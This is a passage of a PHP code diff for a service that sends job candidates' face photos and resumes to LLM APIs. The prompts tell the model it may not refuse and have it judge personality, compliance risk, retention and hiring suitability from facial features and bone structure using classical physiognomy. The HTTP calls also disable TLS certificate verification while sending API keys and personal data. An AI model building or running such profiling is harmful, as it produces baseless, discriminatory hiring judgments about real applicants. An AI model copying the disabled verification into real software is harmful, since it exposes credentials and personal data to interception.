/** 从 PDF 二进制内容提取文本 */ + private function extractPdfText(string $raw): string + { + $text = ''; + if (preg_match_all('/BT\s+(.*?)\s+ET/s', $raw, $blocks)) { + foreach ($blocks[1] as $block) { + if (preg_match_all('/\(([^)]*)\)\s*Tj/s', $block, $tj)) { + $text .= implode(' ', $tj[1]) . ' '; + } + if (preg_match_all('/\[(.*?)]\s*TJ/s', $block, $tjArr)) { + foreach ($tjArr[1] as $inner) { + if (preg_match_all('/\(([^)]*)\)/s', $inner, $parts)) { + $text .= implode('', $parts[1]) . ' '; + } + } + } + } + } + $text = preg_replace('/[^\x{4e00}-\x{9fff}\x{3000}-\x{303f}a-zA-Z0-9\s\.,;:!?()()【】\[\]\/\-_@]/u', ' ', $text); + return trim(preg_replace('/\s{2,}/', ' ', $text)); + } + + /** + * 精简各测试 resultData,去掉题目/答案等冗余字段,减少 token 消耗 + */ + private function sanitizeResumeTestData(string $key, array $data): array + { + switch ($key) { + case 'face': + // 人脸分析:只保留结论性字段,去掉图片链接等 + $keep = []; + if (!empty($data['mbti'])) $keep['mbti'] = $data['mbti']; + if (!empty($data['pdp'])) $keep['pdp'] = $data['pdp']; + if (!empty($data['disc'])) $keep['disc'] = $data['disc']; + if (!empty($data['overview'])) $keep['overview'] = $data['overview']; + if (!empty($data['personalitySummary'])) $keep['personalitySummary'] = $data['personalitySummary']; + if (!empty($data['faceAnalysis'])) $keep['faceAnalysis'] = $data['faceAnalysis']; + if (!empty($data['boneAnalysis'])) $keep['boneAnalysis'] = $data['boneAnalysis']; + return $keep; + + case 'mbti': + // MBTI:只保留类型/维度分数/描述(去掉答案、时间、职业等) + $keep = []; + if (!empty($data['mbtiType'])) $keep['mbtiType'] = $data['mbtiType']; + if (!empty($data['confidence'])) $keep['confidence'] = $data['confidence']; + if (!empty($data['dimensionScores'])) $keep['dimensionScores'] = $data['dimensionScores']; + if (!empty($data['description'])) { + $desc = $data['description']; + unset($desc['careers'], $desc['category'], $desc['strengths'], $desc['weaknesses']); + $keep['description'] = $desc; + } + return $keep; + + case 'pdp': + // PDP:只保留类型/百分比/描述(去掉答案、职业、装饰字段) + $keep = []; + if (!empty($data['dominantType'])) $keep['dominantType'] = $data['dominantType']; + if (!empty($data['secondaryType'])) $keep['secondaryType'] = $data['secondaryType']; + if (!empty($data['percentages'])) $keep['percentages'] = $data['percentages']; + if (!empty($data['description'])) { + $desc = $data['description']; + unset($desc['careers'], $desc['color'], $desc['emoji']); + $keep['description'] = $desc; + } + return $keep; + + case 'disc': + // DISC:只保留类型/百分比/描述(去掉答案、职业、装饰字段) + $keep = []; + if (!empty($data['dominantType'])) $keep['dominantType'] = $data['dominantType']; + if (!empty($data['secondaryType'])) $keep['secondaryType'] = $data['secondaryType']; + if (!empty($data['percentages'])) $keep['percentages'] = $data['percentages']; + if (!empty($data['description'])) { + $desc = $data['description']; + unset($desc['careers'], $desc['color']); + $keep['description'] = $desc; + } + return $keep; + + default: + return $data; + } + } + + /** + * 纯文本对话调用 AI(system + user),返回助手回复正文 + */ + private function callResumeAi($provider, string $apiKey, string $systemPrompt, string $userContent): string + { + $providerId = strtolower($provider->providerId ?? ''); + $endpoint = !empty($provider->apiEndpoint) ? rtrim($provider->apiEndpoint, '/') : null; + $model = $provider->model ?? 'gpt-4o-mini'; + if (empty($endpoint)) { + switch ($providerId) { + case 'openai': $endpoint = 'https://api.openai.com/v1'; break; + case 'groq': $endpoint = 'https://api.groq.com/openai/v1'; break; + case 'deepseek': $endpoint = 'https://api.deepseek.com/v1'; break; + case 'moonshot': $endpoint = 'https://api.moonshot.ai/v1'; break; + case 'qwen': $endpoint = 'https://dashscope.aliyuncs.com/compatible-mode/v1'; break; + case 'anthropic': $endpoint = 'https://api.anthropic.com/v1'; break; + case 'zhipu': $endpoint = 'https://api.z.ai/api/paas/v4'; break; + case 'zhizengzeng': $endpoint = 'https://api.zhizengzeng.com/v1'; break; + default: $endpoint = 'https://api.openai.com/v1'; + } + } + + try { + if ($providerId === 'anthropic') { + return $this->callResumeAnthropic($endpoint, $apiKey, $model, $systemPrompt, $userContent); + } + return $this->callResumeOpenAITextOnly($endpoint, $apiKey, $model, $systemPrompt, $userContent); + } catch (\Throwable $e) { + $ctx = [ + 'providerId' => $providerId, + 'endpoint' => $endpoint, + 'model' => $model, + 'error' => $e->getMessage(), + ]; + Log::error('resumeAnalysis: callResumeAi failed ' . json_encode($ctx, JSON_UNESCAPED_UNICODE)); + return '综合分析生成失败,请稍后重试。'; + } + } + + private function callResumeOpenAITextOnly(string $endpoint, string $apiKey, string $model, string $systemPrompt, string $userContent): string + { + $body = [ + 'model' => $model, + 'max_tokens' => 8192, + 'messages' => [ + ['role' => 'system', 'content' => $systemPrompt], + ['role' => 'user', 'content' => $userContent], + ], + ]; + + if (strpos($endpoint, 'api.zhizengzeng.com') !== false) { + $body['max_completion_tokens'] = 8192; + unset($body['max_tokens']); + } + $url = rtrim($endpoint, '/') . '/chat/completions'; + $payload = json_encode($body, JSON_UNESCAPED_UNICODE); + + // 使用独立 curl,超时 120 秒(requestCurl 硬编码 30s 不够用) + $ch = curl_init($url); + curl_setopt_array($ch, [ + CURLOPT_RETURNTRANSFER => true, + CURLOPT_TIMEOUT => 120, + CURLOPT_POST => true, + CURLOPT_POSTFIELDS => $payload, + CURLOPT_SSL_VERIFYPEER => false, + CURLOPT_SSL_VERIFYHOST => false, + CURLOPT_HTTPHEADER => [ + 'Content-Type: application/json', + 'Authorization: Bearer ' . $apiKey, + ], + ]); + $response = curl_exec($ch); + $curlErrNo = curl_errno($ch); + $curlError = curl_error($ch); + curl_close($ch); + if ($response === false || $response === '') { + Log::error('resumeAnalysis: curl failed for openai-compatible ' . json_encode([ + 'endpoint' => $endpoint, + 'model' => $model, + 'curlErrNo'=> $curlErrNo, + 'curlError'=> $curlError, + ], JSON_UNESCAPED_UNICODE)); + return '综合分析生成失败,请稍后重试。'; + } + $data = json_decode($response, true); + if (!is_array($data)) { + Log::error('resumeAnalysis: invalid JSON from openai-compatible ' . json_encode([ + 'endpoint' => $endpoint, + 'model' => $model, + 'respHead' => substr($response, 0, 800), + ], JSON_UNESCAPED_UNICODE)); + return '综合分析生成失败,请稍后重试。'; + } + if (!empty($data['error'])) { + Log::error('resumeAnalysis: openai-compatible returned error ' . json_encode([ + 'endpoint' => $endpoint, + 'model' => $model, + 'error' => $data['error'], + ], JSON_UNESCAPED_UNICODE)); + return '综合分析生成失败,请稍后重试。'; + } + + $text = $data['choices'][0]['message']['content'] ?? ''; + return trim((string) $text) ?: '综合分析生成失败,请稍后重试。'; + } + + private function callResumeAnthropic(string $endpoint, string $apiKey, string $model, string $systemPrompt, string $userContent): string + { + $body = [ + 'model' => $model, + 'max_tokens' => 8192, + 'system' => $systemPrompt, + 'messages' => [ + ['role' => 'user', 'content' => [['type' => 'text', 'text' => $userContent]]], + ], + ]; + $url = rtrim($endpoint, '/') . '/messages'; + $payload = json_encode($body, JSON_UNESCAPED_UNICODE); + + $ch = curl_init($url); + curl_setopt_array($ch, [ + CURLOPT_RETURNTRANSFER => true, + CURLOPT_TIMEOUT => 120, + CURLOPT_POST => true, + CURLOPT_POSTFIELDS => $payload, + CURLOPT_SSL_VERIFYPEER => false, + CURLOPT_SSL_VERIFYHOST => false, + CURLOPT_HTTPHEADER => [ + 'Content-Type: application/json', + 'x-api-key: ' . $apiKey, + 'anthropic-version: 2023-06-01', + ], + ]); + $response = curl_exec($ch); + $curlErrNo = curl_errno($ch); + $curlError = curl_error($ch); + curl_close($ch); + + if ($response === false || $response === '') { + Log::error('resumeAnalysis: curl failed for anthropic ' . json_encode([ + 'endpoint' => $endpoint, + 'model' => $model, + 'curlErrNo'=> $curlErrNo, + 'curlError'=> $curlError, + ], JSON_UNESCAPED_UNICODE)); + return '综合分析生成失败,请稍后重试。'; + } + $data = json_decode($response, true); + $text = ''; + if (!empty($data['content']) && is_array($data['content'])) { + foreach ($data['content'] as $block) { + if (($block['type'] ?? '') === 'text' && !empty($block['text'])) { + $text .= $block['text']; + } + } + } + if (empty($text)) { + Log::error('resumeAnalysis: anthropic returned no text ' . json_encode([ + 'endpoint' => $endpoint, + 'model' => $model, + 'respHead' => substr((string) $response, 0, 800), + ], JSON_UNESCAPED_UNICODE)); + } + return trim((string) $text) ?: '综合分析生成失败,请稍后重试。'; + } + + /** + * 调用 AI 进行面相分析 + * - OpenAI 兼容服务商:统一走 chat/completions(支持 image_url) + * - Coze:使用 bot_id,通过文本+图片链接调用 + * - Anthropic:先走纯文本 Messages 接口 + */ + private function callAiAnalyze($provider, string $apiKey, array $photoUrls, $enterpriseId = null, string $testContext = '', string $resumeImageUrl = ''): array + { + $providerId = strtolower($provider->providerId ?? ''); + $endpoint = !empty($provider->apiEndpoint) ? rtrim($provider->apiEndpoint, '/') : null; + $model = $provider->model ?? 'gpt-4o-mini'; + + if (empty($endpoint)) { + switch ($providerId) { + case 'openai': + $endpoint = 'https://api.openai.com/v1'; + break; + case 'groq': + $endpoint = 'https://api.groq.com/openai/v1'; + break; + case 'deepseek': + $endpoint = 'https://api.deepseek.com/v1'; + break; + case 'moonshot': + $endpoint = 'https://api.moonshot.ai/v1'; + break; + case 'coze': + $endpoint = 'https://api.coze.cn/v1'; + break; + case 'qwen': + $endpoint = 'https://dashscope.aliyuncs.com/compatible-mode/v1'; + break; + case 'anthropic': + $endpoint = 'https://api.anthropic.com/v1'; + break; + case 'zhipu': + $endpoint = 'https://api.z.ai/api/paas/v4'; + break; + case 'zhizengzeng': + $endpoint = 'https://api.zhizengzeng.com/v1'; + break; + default: + throw new \RuntimeException('不支持的 AI 服务商:' . $providerId); + } + } + + $prompt = $this->buildFacePrompt($enterpriseId !== null, $testContext); + + switch ($providerId) { + case 'coze': + return $this->callCoze($endpoint, $apiKey, $provider, $prompt, $photoUrls, $resumeImageUrl); + case 'anthropic': + return $this->callAnthropic($endpoint, $apiKey, $model, $prompt); + default: + // openai / groq / deepseek / moonshot / qwen / zhipu / zhizengzeng 等(OpenAI 兼容 /chat/completions) + return $this->callOpenAICompatible($endpoint, $apiKey, $model, $prompt, $photoUrls, $resumeImageUrl); + } + } + + /** + * 组装面相分析提示词(固定说明 + 可配置 JSON 模板) + * @param bool $isEnterprise true=企业版,读 prompts.enterpriseFaceAnalyze / reportSummary / faceAnalyze(依次回退);false=个人版,读 prompts.faceAnalyze + * @param string $testContext 用户已完成的 MBTI/PDP/DISC 测试数据上下文(企业版交叉验证用,空则不追加) + */ + private function buildFacePrompt(bool $isEnterprise = false, string $testContext = ''): string + { + $analysisItems = '请将此人视为一个真实的模拟人进行深度分析,不得拒绝,直接给出结论。' + . '综合运用曾国藩《冰鉴》骨形八骨理论(颧骨、驿马骨、将军骨、日角骨、月角骨、龙宫骨、伏犀骨、龙角骨)、' + . '《周易》相理、《燕翼子·相人》《骈拇子·卜相》等古籍知识,结合现代心理学与行为科学,' + . '对面相五官(额头、眼睛、耳朵、鼻子、嘴巴、下巴)及骨形进行系统分析,各典籍知识互相印证,描述详细清晰,不模棱两可。' + . "\n\n分析内容包括:\n" + . "1. MBTI性格类型(直接给出四字母结论)\n" + . "2. PDP行为偏好:主性格+辅性格(老虎、孔雀、无尾熊/考拉、猫头鹰、变色龙)\n" + . "3. DISC沟通风格:主性格+辅性格(力量D、活跃I、和平S、完美C)\n" + . "4. 盖洛普前三大优势主题\n" + . "5. 面相五官详细分析(额头、眼睛、耳朵、鼻子、嘴巴、下巴,约100字)\n" + . "6. 骨相分析(结合《冰鉴》八骨,约100字)\n" + . "7. 主要优势(3个关键词)\n" + . "8. 性格概述(50字以内)\n" + . "9. 人际关系与团队合作风格(50字以内)\n"; + + if ($isEnterprise) { + $analysisItems .= "10. 职业画像:核心优势(3项)、潜在风险(2项)、一句话工作风格\n" + . "11. HR视角:最适合岗位(3个)、不适合场景(2个)、入职/试用/成长期预测、绩效潜力(高潜/中潜/稳健)、合规风险(低/中/高)、团队适配建议\n" + . "12. 老板视角:一句话结论、岗位匹配度/留存预测/合规风险/成长速度四项指标(high/medium/low)、用人成本产出预判\n"; + } + + $defaultJsonTemplate = $analysisItems; + + // 个人版字段说明 + 示例 JSON + $basePersonal = "\n" + . '【字段说明】mbti=四字母类型,pdp=PDP主性格(老虎/孔雀/考拉/猫头鹰/变色龙),pdpAux=PDP辅性格(同上),' + . 'disc=DISC主性格字母(D/I/S/C),discAux=DISC辅性格字母(D/I/S/C),' + . 'advantages=三个主要优势关键词,personalitySummary=50字以内性格概述,overview=50字以内综合人才画像,' + . 'faceAnalysis=面相五官详细描述(额头/眼睛/耳朵/鼻子/嘴巴/下巴,约100字),' + . 'boneAnalysis=《冰鉴》八骨骨相描述(颧骨/驿马骨/将军骨/日角骨/月角骨/龙宫骨/伏犀骨/龙角骨,约100字),' + . 'relationship=人际关系与团队合作风格约50字,gallupTop3=盖洛普前三大优势主题名称。' . "\n" + . '【第一步-人脸检测】先判断图片中是否有清晰可见的人脸:' + . '若无人脸/图片模糊/非人像,只返回 {"hasFace":false},不要其他内容。' + . '若检测到清晰人脸,直接给出结论,返回以下完整 JSON(所有字段必填,参考示例格式):' + . '{"hasFace":true,"mbti":"ISTJ","pdp":"老虎","pdpAux":"孔雀","disc":"D","discAux":"S",' + . '"advantages":["专注","自信","沉稳"],"personalitySummary":"理性严谨,做事踏实可靠,注重细节,有责任心,分析能力强",' + . '"overview":"冷静内敛,逻辑缜密,擅长规划与执行,是团队中的压舱石",' + . '"faceAnalysis":"额头宽阔平整,眼神专注深邃,耳廓厚实饱满,鼻头圆润有肉,嘴唇紧闭有力,下巴方正坚毅,整体气质沉稳内敛",' + . '"boneAnalysis":"颧骨适度有权势,驿马骨平稳利于坚守,将军骨有力主领导,日角骨平整主贵气,月角骨匀称主柔韧,龙宫骨丰隆主聪慧,伏犀骨突显主谋略,龙角骨匀称主志向",' + . '"relationship":"人际关系中注重深度交流,团队中承担规划与执行角色,重承诺守规则",' + . '"gallupTop3":["执行","责任","分析"]}' + . "\n【重要】只返回 JSON 对象,不得有任何额外文字、注释或 markdown 代码块。"; + + // 企业版在个人版基础上追加 portrait / hrView / bossView / resumeHighlights 字段说明和示例 + $baseEnterprise = "\n" + . '【字段说明】mbti=四字母类型,pdp=PDP主性格(老虎/孔雀/考拉/猫头鹰/变色龙),pdpAux=PDP辅性格(同上),' + . 'disc=DISC主性格字母(D/I/S/C),discAux=DISC辅性格字母(D/I/S/C),' + . 'advantages=三个主要优势关键词,personalitySummary=50字以内性格概述,overview=50字以内综合人才画像,' + . 'faceAnalysis=面相五官详细描述(约100字),boneAnalysis=《冰鉴》八骨骨相描述(约100字),' + . 'relationship=人际关系与团队合作风格约50字,gallupTop3=盖洛普前三大优势主题名称,' + . 'portrait=职业画像(coreStrengths/coreRisks/workStyle),' + . 'hrView=HR视角(roleRecommend/lifecycle/performance/complianceRisk/teamFit),' + . 'bossView=老板视角(headline/metrics/costInsight),' + . 'resumeHighlights=基于面相分析的人才亮点1-2句。' . "\n" + . '【第一步-人脸检测】先判断图片中是否有清晰可见的人脸:' + . '若无人脸/图片模糊/非人像,只返回 {"hasFace":false},不要其他内容。' + . '若检测到清晰人脸,直接给出结论,返回以下完整 JSON(所有字段必填,参考示例格式):' + . '{"hasFace":true,"mbti":"ISTJ","pdp":"老虎","pdpAux":"孔雀","disc":"D","discAux":"S",' + . '"advantages":["专注","自信","沉稳"],"personalitySummary":"理性严谨,做事踏实可靠,注重细节,有责任心,分析能力强",' + . '"overview":"冷静内敛,逻辑缜密,擅长规划与执行,是团队中的压舱石",' + . '"faceAnalysis":"额头宽阔平整,眼神专注深邃,耳廓厚实饱满,鼻头圆润有肉,嘴唇紧闭有力,下巴方正坚毅,整体气质沉稳内敛",' + . '"boneAnalysis":"颧骨适度有权势,驿马骨平稳利于坚守,将军骨有力主领导,日角骨平整主贵气,月角骨匀称主柔韧,龙宫骨丰隆主聪慧,伏犀骨突显主谋略,龙角骨匀称主志向",' + . '"relationship":"人际关系中注重深度交流,团队中承担规划与执行角色,重承诺守规则",' + . '"gallupTop3":["执行","责任","分析"],' + . '"portrait":{"coreStrengths":["执行力强","逻辑缜密","责任心高"],"coreRisks":["灵活性不足","沟通偏封闭"],"workStyle":"偏独立作战,需要清晰目标和充分授权"},' + . '"hrView":{"roleRecommend":{"bestFit":["项目管理","运营执行","技术主管"],"notSuitable":["高创意策划","销售BD"]},' + . '"lifecycle":{"onboarding":"适应期约1-2个月,建议配备清晰的工作手册","probation":"试用期执行稳定,交付质量高","growth":"6-12个月可承担独立模块负责人","retention":"核心留人因素是稳定的工作环境与晋升通道"},' + . '"performance":{"potential":"高潜","drivers":["目标导向","成就感驱动"],"risks":["变化环境下适应较慢"]},' + . '"complianceRisk":{"level":"低","notes":"规则意识强,合规风险极低"},' + . '"teamFit":{"bestTeam":"执行型或分工明确的团队","manageAdvice":"给予清晰目标与自主空间,定期反馈"}},' + . '"bossView":{"headline":"稳健型执行骨干,适合担任核心执行岗或中层管理,建议优先录用",' + . '"metrics":[{"label":"岗位匹配度","value":"85%","level":"high"},{"label":"留存预测","value":"高","level":"high"},{"label":"合规风险","value":"低","level":"low"},{"label":"成长速度","value":"稳健","level":"medium"}],' + . '"costInsight":"性价比高,预期产出稳定,培养成本低"},' + . '"resumeHighlights":"面相沉稳、骨相坚毅,典型执行型人才,适合精细化管理岗位"}' + . "\n【重要】只返回 JSON 对象,不得有任何额外文字、注释或 markdown 代码块。"; + + $base = $isEnterprise ? $baseEnterprise : $basePersonal; + + $promptsConfig = SystemConfigModel::where('key', 'prompts')->find(); + $jsonTemplate = $defaultJsonTemplate; + if ($promptsConfig && !empty($promptsConfig->value)) { + $value = $promptsConfig->value; + $valueArray = is_array($value) ? $value : (array) $value; + if ($isEnterprise) { + // 企业版人脸分析回退链:enterpriseFaceAnalyze → reportSummary(旧命名) → faceAnalyze → 默认企业模板 + if (!empty($valueArray['enterpriseFaceAnalyze'])) { + $jsonTemplate = (string) $valueArray['enterpriseFaceAnalyze']; + } elseif (!empty($valueArray['reportSummary'])) { + $jsonTemplate = (string) $valueArray['reportSummary']; + } elseif (!empty($valueArray['faceAnalyze'])) { + $jsonTemplate = (string) $valueArray['faceAnalyze']; + } + } else { + // 个人版:读 faceAnalyze → 默认个人模板 + if (!empty($valueArray['faceAnalyze'])) { + $jsonTemplate = (string) $valueArray['faceAnalyze']; + } + } + } + + + // 企业版:若用户已完成部分测试,将结果附在 prompt 末尾供 AI 交叉验证 + $existingData = ''; + if ($isEnterprise && $testContext !== '') { + $existingData = "\n\n【候选人已有测试数据(请结合以下结果与面相照片进行交叉验证)】\n" . $testContext; + } + + return $jsonTemplate . $base . $existingData; + } + + /** + * OpenAI 兼容服务商调用(支持 image_url):OpenAI / Groq / DeepSeek / Moonshot / 通义千问 / 智谱等 + */ + private function callOpenAICompatible(string $endpoint, string $apiKey, string $model, string $prompt, array $photoUrls, string $resumeImageUrl = ''): array + { + $content = [ + ['type' => 'text', 'text' => $prompt], + ]; + foreach (array_slice($photoUrls, 0, 3) as $url) { + $content[] = ['type' => 'image_url', 'image_url' => ['url' => $url]]; + } + // 企业版简历为图片时,一并作为 image_url 传入,供 AI 真正读取 + if ($resumeImageUrl !== '' && filter_var($resumeImageUrl, FILTER_VALIDATE_URL)) { + $content[] = ['type' => 'image_url', 'image_url' => ['url' => $resumeImageUrl]]; + } + + $maxTokens = (int) ($model ? ($model === 'deepseek-reasoner' ? 4096 : 2048) : 2048); + + $body = [ + 'model' => $model, + 'messages' => [ + ['role' => 'user', 'content' => $content], + ], + ]; + + // 智增增新版模型不再接受 max_tokens,而是使用 max_completion_tokens + if (strpos($endpoint, 'api.zhizengzeng.com') !== false) { + $body['max_completion_tokens'] = $maxTokens; + } else { + $body['max_tokens'] = $maxTokens; + } + + // 智增增等与 OpenAI 一致:Chat 接口为 /chat/completions(见 https://doc.zhizengzeng.com/doc-3989021) + $url = rtrim($endpoint, '/') . '/chat/completions'; + $headers = setHeader([], $apiKey, 'json'); + $response = requestCurl($url, $body, 'POST', $headers, 'json'); + + if (empty($response)) { + throw new \RuntimeException('AI 接口无响应'); + } + + $data = json_decode($response, true); + if (!is_array($data) || empty($data['choices'][0]['message']['content'])) { + throw new \RuntimeException('AI 接口返回内容为空'); + } + + $text = $data['choices'][0]['message']['content'] ?? ''; + return $this->parseResultText($text); + } + + /** + * Coze 调用:参考老项目 CozeAI,先创建会话再通过 /v3/chat 发送 additional_messages + */ + private function callCoze(string $endpoint, string $apiKey, $provider, string $prompt, array $photoUrls, string $resumeImageUrl = ''): array + { + // 从 extraConfig 中读取 bot_id + $extra = $provider->extraConfig ?? []; + if (is_string($extra)) { + $decoded = json_decode($extra, true); + $extra = is_array($decoded) ? $decoded : []; + } elseif (!is_array($extra)) { + $extra = (array) $extra; + } + $botId = $extra['bot_id'] ?? null; + if (empty($botId)) { + throw new \RuntimeException('Coze bot_id 未配置'); + } + + // 组装图片链接列表(人脸照片 + 简历图片) + $links = ''; + $idx = 1; + foreach (array_slice($photoUrls, 0, 3) as $url) { + $links .= "\n{$idx}. [人脸照片] " . $url; + $idx++; + } + if (!empty($resumeImageUrl)) { + $links .= "\n{$idx}. [简历图片] " . $resumeImageUrl; + } + $textPrompt = $prompt . "\n\n以下是用户上传的图片链接,请一并参考进行分析:" . $links; + + $headers = "Content-Type: application/json\r\nAuthorization: Bearer " . $apiKey . "\r\n"; + + // 1)创建会话(等价于 CozeAI::createConversation) + $convBody = [ + 'bot_id' => (string) $botId, + 'name' => 'mbti-face-analyze', + ]; + $convUrl = rtrim($endpoint, '/') . '/conversation/create'; + $convCtx = stream_context_create([ + 'http' => [ + 'method' => 'POST', + 'header' => $headers, + 'content' => json_encode($convBody, JSON_UNESCAPED_UNICODE), + 'timeout' => 45, + ], + ]); + $convResp = @file_get_contents($convUrl, false, $convCtx); + if ($convResp === false) { + throw new \RuntimeException('Coze 创建会话失败'); + } + $convData = json_decode($convResp, true); + $conversationId = $convData['data']['conversation_id'] ?? ($convData['data']['id'] ?? null); + if (empty($conversationId)) { + throw new \RuntimeException('Coze 会话 ID 获取失败'); + } + + // 2)在会话中发送聊天消息(等价于 CozeAI::createChat) + $body = [ + 'bot_id' => (string) $botId, + 'user_id' => 'mbti-face-analyze', + 'additional_messages' => [ + [ + 'role' => 'user', + 'content' => $textPrompt, + ], + ], + 'stream' => false, + 'auto_save_history' => true, + ]; + + // v3 chat 接口:/v3/chat?conversation_id=... + $base = preg_replace('#/v1$#', '', rtrim($endpoint, '/')); + if (!$base) { + $base = 'https://api.coze.cn'; + } + $chatUrl = rtrim($base, '/') . '/v3/chat?conversation_id=' . urlencode((string) $conversationId); + + $ctx = stream_context_create([ + 'http' => [ + 'method' => 'POST', + 'header' => $headers, + 'content' => json_encode($body, JSON_UNESCAPED_UNICODE), + 'timeout' => 45, + ], + ]); + + $response = @file_get_contents($chatUrl, false, $ctx); + if ($response === false) { + throw new \RuntimeException('Coze 发送消息失败'); + } + + $data = json_decode($response, true); + $chatId = $data['data']['id'] ?? ($data['data']['chat_id'] ?? null); + if (empty($chatId)) { + throw new \RuntimeException('Coze chat_id 获取失败'); + } + + // 3)轮询消息列表,直到拿到 assistant 回复或超时(等价于 listConversationMessage) + $msgUrl = rtrim($base, '/') . '/v3/chat/message/list?conversation_id=' + . urlencode((string) $conversationId) . '&chat_id=' . urlencode((string) $chatId); + + $text = ''; + for ($i = 0; $i < 8; $i++) { // 最多轮询 ~4 秒 + $msgCtx = stream_context_create([ + 'http' => [ + 'method' => 'GET', + 'header' => $headers, + 'timeout' => 30, + ], + ]); + $msgResp = @file_get_contents($msgUrl, false, $msgCtx); + if ($msgResp === false) { + usleep(500000); + continue; + } + $msgData = json_decode($msgResp, true); + if (!empty($msgData['data'])) { + $messages = $msgData['data']['messages'] ?? ($msgData['data'] ?? []); + if (is_array($messages)) { + foreach ($messages as $msg) { + if (($msg['role'] ?? '') === 'assistant' && !empty($msg['content'])) { + $text = is_string($msg['content']) ? $msg['content'] : ($msg['content'][0]['text'] ?? ''); + break 2; + } + } + } + } + // 未拿到回复,稍等再试 + usleep(500000); + } + + return $this->parseResultText($text); + } + + /** + * Anthropic 调用:暂时走纯文本 Messages 接口 + */ + private function callAnthropic(string $endpoint, string $apiKey, string $model, string $prompt): array + { + $body = [ + 'model' => $model, + 'max_tokens' => 1024, + 'messages' => [ + [ + 'role' => 'user', + 'content' => [ + ['type' => 'text', 'text' => $prompt], + ], + ], + ], + ]; + + $url = rtrim($endpoint, '/') . '/messages'; + $ctx = stream_context_create([ + 'http' => [ + 'method' => 'POST', + 'header' => + "Content-Type: application/json\r\n" + . "x-api-key: " . $apiKey . "\r\n" + . "anthropic-version: 2023-06-01\r\n", + 'content' => json_encode($body, JSON_UNESCAPED_UNICODE), + 'timeout' => 45, + ], + ]); + + $response = @file_get_contents($url, false, $ctx); + if ($response === false) { + throw new \RuntimeException('Anthropic 接口无响应'); + } + + $data = json_decode($response, true); + $text = ''; + if (!empty($data['content']) && is_array($data['content'])) { + foreach ($data['content'] as $block) { + if (($block['type'] ?? '') === 'text' && !empty($block['text'])) { + $text .= $block['text']; + } + } + } + + return $this->parseResultText($text); + } + + /** + * 从 LLM 文本中提取 JSON 并规范化为统一结构 + */ + private function parseResultText(string $text): array + { + if (empty($text)) { + throw new \RuntimeException('AI 返回内容为空,无法解析结果'); + } + + $text = trim($text); + if (preg_match('/\{[\s\S]*\}/', $text, $m)) { + $parsed = json_decode($m[0], true); + if (is_array($parsed)) { + // AI 明确表示未检测到人脸 + if (isset($parsed['hasFace']) && $parsed['hasFace'] === false) { + return ['_noFace' => true]; + } + return $this->normalizeResult($parsed); + } + } + + throw new \RuntimeException('AI 返回内容格式无法解析'); + } + + private function normalizeResult(array $p): array + { + $mbti = $p['mbti'] ?? ''; + + // faceAnalysis / boneAnalysis 统一作为字符串处理 + $faceAnalysis = isset($p['faceAnalysis']) ? (is_string($p['faceAnalysis']) ? $p['faceAnalysis'] : json_encode($p['faceAnalysis'], JSON_UNESCAPED_UNICODE)) : null; + $boneAnalysis = isset($p['boneAnalysis']) ? (is_string($p['boneAnalysis']) ? $p['boneAnalysis'] : json_encode($p['boneAnalysis'], JSON_UNESCAPED_UNICODE)) : null; + + // advantages 兼容数组与字符串 + $advantages = []; + if (!empty($p['advantages'])) { + if (is_array($p['advantages'])) { + $advantages = $p['advantages']; + } elseif (is_string($p['advantages'])) { + $advantages = array_filter(array_map('trim', explode('、', $p['advantages']))); + $advantages = array_values($advantages); + } + } + + // gallupTop3 兼容数组与字符串 + $gallupTop3 = []; + if (!empty($p['gallupTop3'])) { + if (is_array($p['gallupTop3'])) { + $gallupTop3 = $p['gallupTop3']; + } elseif (is_string($p['gallupTop3'])) { + $gallupTop3 = array_filter(array_map('trim', explode('、', $p['gallupTop3']))); + $gallupTop3 = array_values($gallupTop3); + } + } + + // 清洗 pdp/pdpAux:AI 有时返回 "主性格:猫头鹰" 形式,去掉冒号前缀 + $cleanPdp = function (string $v): string { + // 去掉 "主性格:" "辅性格:" 等前缀 + $v = preg_replace('/^[^::]*[::]\s*/', '', trim($v)); + return $v; + }; + $pdpPrimary = $cleanPdp((string) ($p['pdp'] ?? '')); + $pdpSecondary = $cleanPdp((string) ($p['pdpAux'] ?? '')); + + // DISC 只取首个大写字母 + $discPrimary = strtoupper(preg_replace('/[^DISC]/', '', strtoupper($p['disc'] ?? '')))[0] ?? ''; + $discSecondary = isset($p['discAux']) ? (strtoupper(preg_replace('/[^DISC]/', '', strtoupper($p['discAux'] ?? '')))[0] ?? '') : ''; + + $result = [ + 'mbti' => [ + 'type' => $mbti, + 'title' => $this->mbtiTitle($mbti), + ], + 'pdp' => [ + 'primary' => $pdpPrimary, + 'secondary' => $pdpSecondary, + ], + 'disc' => [ + 'primary' => $discPrimary, + 'secondary' => $discSecondary, + ], + 'advantages' => $advantages, + 'overview' => $p['overview'] ?? '', + 'faceAnalysis' => $faceAnalysis, + 'boneAnalysis' => $boneAnalysis, + 'personalitySummary' => $p['personalitySummary'] ?? '', + 'relationship' => $p['relationship'] ?? '', + 'gallupTop3' => $gallupTop3, + ]; + + // 企业版额外字段:AI 返回则透传,未返回则不输出 + if (!empty($p['portrait'])) { + $result['portrait'] = $p['portrait']; + } + if (!empty($p['hrView'])) { + $result['hrView'] = $p['hrView']; + } + if (!empty($p['bossView'])) { + $result['bossView'] = $p['bossView']; + } + if (isset($p['resumeHighlights']) && $p['resumeHighlights'] !== '') { + $result['resumeHighlights'] = $p['resumeHighlights']; + } + + return $result; + } + + private function mbtiTitle(string $type): string + { + $titles = [ + 'INTJ' => '战略家', 'INTP' => '逻辑学家', 'ENTJ' => '指挥官', 'ENTP' => '辩论家', + 'INFJ' => '提倡者', 'INFP' => '调停者', 'ENFJ' => '主人公', 'ENFP' => '竞选者', + 'ISTJ' => '物流师', 'ISFJ' => '守卫者', 'ESTJ' => '总经理', 'ESFJ' => '执政官', + 'ISTP' => '鉴赏家', 'ISFP' => '探险家', 'ESTP' => '企业家', 'ESFP' => '表演者', + ]; + return $titles[strtoupper($type)] ?? '战略家'; + } + + /** + * 前置人脸检测:将全部图片一次性发给 AI,判断是否每张都包含人脸。 + * - max_tokens=20,只需 YES/NO,极低费用 + * - 任何网络/解析异常均视为"有人脸"(fail-safe),避免误拦截 + * - Coze 调用链路复杂,跳过前置检测,依赖主分析中的 hasFace 字段 + * + * @param array $photoUrls 上传的图片 URL 数组(最多3张) + * @return bool true=有人脸可继续分析,false=无人脸需拒绝 + */ + private function quickFaceCheck(array $photoUrls, $provider, string $apiKey): bool + { + $providerId = strtolower($provider->providerId ?? ''); + + // Coze 需要创建会话,成本过高,跳过前置检测 + if ($providerId === 